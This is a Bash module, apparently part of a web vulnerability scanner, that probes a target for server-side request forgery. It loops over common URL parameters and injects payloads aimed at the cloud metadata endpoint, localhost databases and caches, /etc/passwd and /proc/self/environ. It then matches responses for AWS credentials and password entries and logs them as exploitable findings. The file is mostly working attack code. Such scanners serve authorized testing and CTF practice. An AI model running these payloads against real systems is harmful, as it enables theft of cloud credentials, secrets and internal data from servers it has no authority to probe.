56 lines
2.0 KiB
Bash
Executable File
56 lines
2.0 KiB
Bash
Executable File
#!/usr/bin/env bash
|
|
# Vector 05: Server-Side Request Forgery
|
|
# Desc: SSRF via URL params, file fetching, webhooks
|
|
# Detect: url=, src=, link=, fetch=, file=, callback=, webhook= parameters
|
|
# Severity: HIGH
|
|
# Tools: curl
|
|
|
|
vector_ssrf() {
|
|
local target="$1"
|
|
local report="$2"
|
|
local findings=0
|
|
|
|
print_info "Testing SSRF vectors..."
|
|
|
|
local ssrf_params=("url" "src" "link" "fetch" "file" "callback" "webhook" "image" "img" "load" "read" "path" "dest" "redirect" "uri" "data")
|
|
local ssrf_targets=(
|
|
"http://169.254.169.254/latest/meta-data/"
|
|
"http://169.254.169.254/"
|
|
"http://127.0.0.1:80"
|
|
"http://127.0.0.1:8080"
|
|
"http://127.0.0.1:3306"
|
|
"http://127.0.0.1:6379"
|
|
"http://localhost/flag"
|
|
"file:///etc/passwd"
|
|
"file:///proc/self/environ"
|
|
"http://[::1]:80"
|
|
"http://0.0.0.0:80"
|
|
)
|
|
|
|
for param in "${ssrf_params[@]}"; do
|
|
for ssrf_target in "${ssrf_targets[@]}"; do
|
|
local test_url=""
|
|
if [[ "$target" == *\?* ]]; then
|
|
test_url="${target}&${param}=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${ssrf_target}'))" 2>/dev/null || echo "$ssrf_target")"
|
|
else
|
|
test_url="${target}?${param}=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${ssrf_target}'))" 2>/dev/null || echo "$ssrf_target")"
|
|
fi
|
|
|
|
local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null)
|
|
|
|
if echo "$response" | grep -qi "ami-id\|instance-id\|public-keys\|security-credentials\|root:.*:0:0:\|uid=\|DB_HOST\|REDIS\|AWS_"; then
|
|
print_find "SSRF confirmed!" "Internal resource accessible via parameter $param -> $ssrf_target"
|
|
echo "SEVERITY: CRITICAL
|
|
VECTOR: Server-Side Request Forgery (SSRF)
|
|
DETAIL: SSRF via parameter '$param' on $target
|
|
EVIDENCE: Internal data accessible: ${response:0:100}...
|
|
EXPLOIT: Use to access cloud metadata, internal services, or read local files" > "$REPORTS_DIR/.finding_$(date +%s)_ssrf.txt"
|
|
findings=$((findings + 1))
|
|
break 2
|
|
fi
|
|
done
|
|
done
|
|
|
|
return $findings
|
|
}
|